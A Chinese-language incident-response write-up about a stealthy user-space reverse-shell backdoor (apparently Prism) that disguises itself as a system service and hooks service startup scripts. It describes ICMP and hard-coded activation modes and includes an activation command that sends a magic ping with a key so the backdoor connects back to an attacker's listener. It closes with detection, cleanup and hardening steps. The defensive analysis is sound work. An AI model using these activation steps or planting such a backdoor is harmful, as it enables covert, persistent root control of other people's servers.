近期笔者在处理非法入侵事件中,发现一款用户空间隐形反向壳后门,该木马具有较高的隐藏、迷惑性,一般会伪装成常见的服务名称,比较难易发现黑客(攻击者),会修改程序启动脚本文件,管理员对服务器任何服务进行重启、停止、启动等操作时均会运行该木马;
木马介绍
该木马是一款用户空间隐形反向后门,可夸平台使用支持在Linux、Solaris、AIX、BSD/Mac、Android等操作系统,该木马有两种不同的激活方式分为:ICMP和STATIC 模式;
木马分析
1、ICMP模式:此操作模式,后门在后台静默等待包含要连接的主机/端口的特定ICMP数据包和用于防止第三方访问的私钥;
注:此模式一般用于服务器或者设备可在外网直接访问,木马运行后默认是运行在该模式下,该模式运行后会在系统潜伏下来,等待着被激活,效果展示:图!
#激活代码
./sendPacket.py 192.168.3.25 p4ssw0rd 192.168.3.18 6688
#192.168.3.25 是受害机器运行棱镜后门
#p4ssw0rd是关键
#192.168.3.18是攻击者机器地址
#6688是攻击者机器监听的端口
图1:攻击者(服务器控制端)开启本地监听端口
图2:攻击者(发起恶意指令服务器)执行木马激活命令
图3:控制受害者服务器
图3:控制受害者服务器
该木马的激活方式是通过ICMP协议,也就是大家常用ping命令,现在对比一下常规的ping数据包,和经过改造之后的数据包区别;
图1:为常规的ping命令数据包,length 64
图2:为改造之后的ping命令数据包,length 192
2、STATIC模式:此操作模式后门尝试连接到硬编码的IP / PORT,在这种情况下,只需控制端运行netcat监听指定端口,即可获得服务器管理权限如:图1(硬编方式)、图2(控制端监听端口);
图 : 1 (控制者服务器地址,以及监听端口)
图2 (拿到被控服务器端shell)
图2 (拿到被控服务器端shell)
图3(获得被控端的root权限)
木马定位
该类型木马是运行用户空间,一般用于黑客(攻击者)利用服务器或者项目漏洞获取服务器root权限后,为了持久控制该服务器的一款木马,在真实场景黑客(攻击者)会做多种手段部署,包括但不限于修改服务启动脚本、sendmail 服务脚本等达到在用户未知情况下启动该木马脚本如:图1
清除木马
清除木马
1、临时停止正常服务,监控此时服务器对外发包的服务于进程,便可以快速定位控制者IP,端口号;
2、如果是生产环境并不能停止任何服务,那就需要一层层过滤,或者在服务器低峰视排查服务器;
3、定位出木马名称后,对服务器文件内容进行批量搜索,防止在其他服务加入该木马启动脚本;
如何防止
1、在安全组上关闭非业务的出、入站端口切记出站、出站、出站太多人忽略出站端口;
2、溯源攻击者进入服务器方式,进行补丁升级;
3、使用第三方工具记录所有的操作日志,以便快速溯源整个攻击过程;
4、对服务器的登录IP地址进行限制,如果不能限制IP,就限制可登入服务器时间;
5、服务器对外(外网)提供的服务已对应的用户启动管理服务器;